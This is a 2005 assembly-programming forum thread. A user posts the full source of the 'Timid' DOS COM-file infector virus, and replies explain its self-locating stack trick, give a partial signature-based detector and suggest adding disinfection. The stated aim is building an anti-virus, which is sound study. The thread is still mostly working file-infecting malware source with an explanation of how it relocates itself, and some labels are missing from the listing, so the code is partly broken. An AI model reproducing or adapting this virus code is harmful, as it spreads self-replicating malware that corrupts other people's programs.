flat assembler
Message board for the users of flat assembler.

Index > DOS > help me with Timid virus's code

Thread Post new topic Reply to topic

Joined: 23 Nov 2005
Posts: 1
hi everyone. I am very new to this forum(i'm very impressed by your number of posts Shocked ). At the moment i have a problem with making my our own anti-virus program. (by the way my knowledge about Assembly is limitted).
In the above code, i understand almost but one thing : the "VIR_START". I cant get how they use VIR_START with
what does it mean? After that, what does the VIR_START mean?
this is the "Timid virus" i copied from a "the little black book" of Mark A Ludwig. I must say that the code work very well so dont bother if its correct or not Wink . All i want to know is about VIR_START.

////////////////////////////////////////////////Listing source code
ORG 100H 

;This host is a shell of a program which will release the virus into the 
;system. All it does is jump to the virus routine, which does its job and 
;returns to it, at which point it terminates to DOS. 

  jmp NEAR PTR VIRUS_START ;MASM cannot assemble this jmp correctly 
  db 'VI'
  mov ah,4CH 
  mov al,0 
  int 21H ;terminate normally with DOS 
VIRUS: ;a label for the first byte of the virus 
  COMFILE DB '*.COM',0 ;search string for a com file 

  call GET_START ;get start address 
;This is a trick to determine the location of the start of the program. We put 
;the address of GET_START on the stack with the call, which is overlayed by 
;VIR_START. Subtract offsets to get @VIRUS 
  mov dx,OFFSET DTA ;put DTA at the end of the virus for now 
  mov ah,1AH ;set new DTA function 
  int 21H 
  call FIND_FILE ;get a com file to attack 
  jnz EXIT_VIRUS ;returned nz - no file to infect, exit 
  call INFECT ;have a good COM file to use - infect it 
  mov dx,OFFSET FNAME ;display the name of the file just infected 
  mov WORD PTR [HANDLE],24H ;make sure string terminates w/ '$'
  mov ah,9 
  int 21H ;display it 
  mov dx,80H ;fix the DTA so that the host program doesn't 
  mov ah,1AH ;get confused and write over its data with 
  int 21H ;file i/o or something like that! 
  mov bx,[VIR_START] ;get the start address of the virus 
  mov ax,WORD PTR [bx+(OFFSET START_CODE)-(OFFSET VIRUS)] ;restore 
  mov WORD PTR [HOST],ax ;5 orig bytes of COM file to start of file 
  mov WORD PTR [HOST+2],ax 
  mov BYTE PTR [HOST+4],al 
  mov [VIR_START],100H ;set up stack to do return to host program 
  ret ;and return to host 
START_CODE: ;move first 5 bytes from host program to here 
  nop ;nop's for the original assembly code 
  nop ;will work fine 
;Find a file which passes FILE_OK 
;This routine does a simple directory search to find a COM file in the current 
;directory, to find a file for which FILE_OK returns with z set. 
  mov dx,[VIR_START] 
  ; add dx,OFFSET COMFILE - OFFSET VIRUS ;this is zero here, so omit it 
  mov cx,3FH ;search for any file, with any attributes 
  mov ah,4EH ;do DOS search first function 
  int 21H 
  or al,al ;is DOS return OK? 
  jnz FF_DONE ;no - quit with Z reset 
  call FILE_OK ;return ok - is this a good file to use? 
  jz FF_DONE ;yes - valid file found - exit with z set 
  mov ah,4FH ;not a valid file, so 
  int 21H ;do find next function 
  jmp FF_LOOP ;and go test next file for validity 
;Function to determine whether the COM file specified in FNAME is useable. If 
;so return z, else return nz. 
;What makes a COM file useable?: 
; a) There must be space for the virus without exceeding the 
; 64 KByte file size limit. 
; b) Bytes 0, 3 and 4 of the file are not a near jump op code, 
; and 'V', 'I', respectively
  mov dx,OFFSET FNAME ;first open the file 

  mov ax,3D02H ;r/w access open file - we'll want to write to it 
  int 21H 
  jc FOK_NZEND ;error opening file - quit, file can't be used 
  mov bx,ax ;put file handle in bx 
  push bx ;and save it on the stack 
  mov cx,5 ;next read 5 bytes at the start of the program 
  mov dx,OFFSET START_IMAGE ;and store them here 
  mov ah,3FH ;DOS read function 
  int 21H 
  pop bx ;restore the file handle 
  mov ah,3EH 
  int 21H ;and close the file 
  mov ax,WORD PTR [FSIZE] ;get the file size of the host 
  add ax,OFFSET ENDVIRUS - OFFSET VIRUS ;add size of virus to it 
  jc FOK_NZEND ;c set if size goes above 64K 
  cmp BYTE PTR [START_IMAGE],0E9H ;size ok - is first byte a near jmp 
  jnz FOK_ZEND ;not a near jump, file must be ok, exit with z 
  cmp WORD PTR [START_IMAGE+3],4956H ;ok, is 'VI' in positions 3 & 4? 
  jnz FOK_ZEND ;no, file can be infected, return with Z set 
  mov al,1 ;we'd better not infect this file 
  or al,al ;so return with z reset 
  xor al,al ;ok to infect, return with z set 
;This routine moves the virus (this program) to the end of the COM file 
;Basically, it just copies everything here to there, and then goes and 
;adjusts the 5 bytes at the start of the program and the five bytes stored 
;in memory. 
  mov dx,OFFSET FNAME ;first open the file 
  mov ax,3D02H ;r/w access open file, we want to write to it 
  int 21H 
  mov WORD PTR [HANDLE],ax ;and save the file handle here 
  xor cx,cx ;prepare to write virus on new file 
  mov dx,cx ;position file pointer, cx:dx = pointer = 0 
  mov bx,WORD PTR [HANDLE] 
  mov ax,4202H ;locate pointer to end DOS function 
  int 21H 
  mov cx,OFFSET FINAL - OFFSET VIRUS ;now write virus, cx=# bytes 
  mov dx,[VIR_START] ;ds:dx = place in memory to write from 
  mov bx,WORD PTR [HANDLE] ;bx = file handle 
  mov ah,40H ;DOS write function 
  int 21H 
  xor cx,cx ;now save 5 bytes which came from start of host 
  mov dx,WORD PTR [FSIZE] ;so position the file pointer 
  mov bx,WORD PTR [HANDLE] ;in the new virus 
  mov ax,4200H ;and use DOS to position the file pointer 
  int 21H 
  mov cx,5 ;now go write START_CODE in the file 
  mov bx,WORD PTR [HANDLE] ;this data was obtained 
  mov dx,OFFSET START_IMAGE ;during the FILE_OK function above 
  mov ah,40H 
  int 21H 

  xor cx,cx ;now go back to the start of host program 
  mov dx,cx ;so we can put the jump to the virus in 
  mov bx,WORD PTR [HANDLE] 
  mov ax,4200H ;locate file pointer function 
  int 21H 

  mov bx,[VIR_START] ;calculate jump location for start of code 
  mov BYTE PTR [START_IMAGE],0E9H ;first the near jump op code E9 
  mov ax,WORD PTR [FSIZE] ;and then the relative address 
  mov WORD PTR [START_IMAGE+1],ax 
  mov WORD PTR [START_IMAGE+3],4956H ;and put ’VI’ ID code in 
  mov cx,5 ;ok, now go write the 5 bytes we just put in START_IMAGE 
  mov dx,OFFSET START_IMAGE ;ds:dx = pointer to START_IMAGE 
  mov bx,WORD PTR [HANDLE] ;file handle 
  mov ah,40H ;DOS write function 
  int 21H 
  mov bx,WORD PTR [HANDLE] ;finally, get handle off of stack 
  mov ah,3EH ;and close file 
  int 21H 
  ret ;all done, the virus is transferred 
FINAL: ;label for last byte of code to be kept in virus when it moves 
ENDVIRUS EQU $ + 212 ;label for determining space needed by virus 
;Note: 212 = FFFF - FF2A - 1 = size of data space 
; $ gives approximate size of code required for virus 
DTA DB 1AH dup (?) ;this is a work area for the search function 
FSIZE DW 0,0 ;file size storage area 
FNAME DB 13 dup (?) ;area for file path 
HANDLE DW 0 ;file handle 
START_IMAGE DB 0,0,0,0,0 ;area to store 5 bytes to rd/wrt to file 
VSTACK DW 50H dup (?) ;stack for the virus program 
VIR_START DW (?) ;start address of VIRUS (overlays stack) 
Post 23 Nov 2005, 13:27
View user's profile Send private message Reply with quote
Verbosity in development

Joined: 05 Sep 2003
Posts: 7105
Location: Slovakia

Theory: Part of code after VIRUS_START will be copied to different places in file, it will be runned at different offsets than are ones stored in labels, so virus need to know at what offset is it located. For example, let's say in original (host) file GET_START is located at offset 120h. But when it is added to other program (usually at the end), it can be on other offsets, so you can't use "mov [GET_START],something", because it would access 120h instead of real address where this copy of virus is. "call" and "jmp" are exception, they use relative addresses, like jump 5 bytes forward (jmp $+5) etc., so "call GET_START" works correctly at any place in memory, because it is "call $+3" (3 is size of this instruction, so this is call to next instruction). First part of code is used to determine offset where "VIRUS" label is really located

Implementation: (this one is little tricky, but nice, good-old DOS times)
VIR_START is defined at offset 0FF2Ah + size of data between "ORG 0FF2AH" and "VIR_START DW (?)". This in fact it means, it is at top of the stack (somtehing near below 0FFFF). So first access to stack will write to this variable (DS=CS=SS in COM file). First access is "call GET_START" (eg. call to following instruction), which in fact only pushes address of next instruction, eg. address of GET_START. So now you have in VIR_START address at which is GET_START located now.

But virus starts at place behind "VIRUS:", so you subtract difference between GET_START and VIRUS from VIR_START, and you have address of VIRUS in VIR_START.
Post 23 Nov 2005, 22:41
View user's profile Send private message Visit poster's website AIM Address MSN Messenger ICQ Number Reply with quote

Joined: 12 Oct 2003
Posts: 78
I whipped this up in under 20 minutes while at work, it's horrid looking but it detects the Timid virus by looking for the VI signature.

format PE GUI 4.0
entry BeginCode

include '%fasminc%\win32a.inc'

section '.code' executable readable writeable

        invoke FindFirstFileA,filemask,wfd
        mov [search_handle],eax
        mov [file_handle],eax

        invoke CreateFileMapping,eax,0,PAGE_READWRITE,0,0,0
        mov [map_object],eax

        invoke MapViewOfFile,[map_object],FILE_MAP_ALL_ACCESS,0,0,0
        mov [map_address],eax

        mov esi,eax
        add esi,0x3
        cmp word [esi],'VI'
        je FoundOne
        invoke FindNextFileA,[search_handle],wfd
        cmp eax,0
        je AllDone
        jmp @B

        invoke UnmapViewOfFile,[map_address]

        invoke wsprintf,timidout,timidin,wfd.cFileName
        add esp,0x0c

        invoke MessageBox,0,timidout,timidtitle,0
        invoke UnmapViewOfFile,[map_address]
        jmp FindNext

section '.data' data readable writeable

timidtitle      db      'Timid Virus Detection',0
timidin         db      'Virus found in file:  %s',0
timidout        rb      512
wfd             FINDDATA
filemask        db      '*.com',0
search_handle   dd      ?
file_handle     dd      ?
map_object      dd      ?
map_address     dd      ?

section '.idata' import data readable writeable

  library kernel32,'KERNEL32.DLL',\

  import kernel32,\

  import user,\

There are several more variants to this virus other than the one posted with source code. The source I pasted above would not detect all variants.

Last edited by Torrey on 25 Nov 2005, 11:59; edited 1 time in total
Post 25 Nov 2005, 10:54
View user's profile Send private message Visit poster's website Reply with quote
Tomasz Grysztar

Joined: 16 Jun 2003
Posts: 8028
Location: Kraków, Poland
Tomasz Grysztar
OK, so we've got some detection. What about healing of those files now?
And what if someone edited the virus to change only its signature?

I suggest to try to make it into fully functional Anti-Timid program. Wink
Post 25 Nov 2005, 11:17
View user's profile Send private message Visit poster's website Reply with quote
Display posts from previous:
Post new topic Reply to topic

Jump to:  

< Last Thread | Next Thread >
Forum Rules:
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
You cannot attach files in this forum
You can download files in this forum

Copyright © 1999-2020, Tomasz Grysztar. Also on GitHub, YouTube, Twitter.

Website powered by rwasa.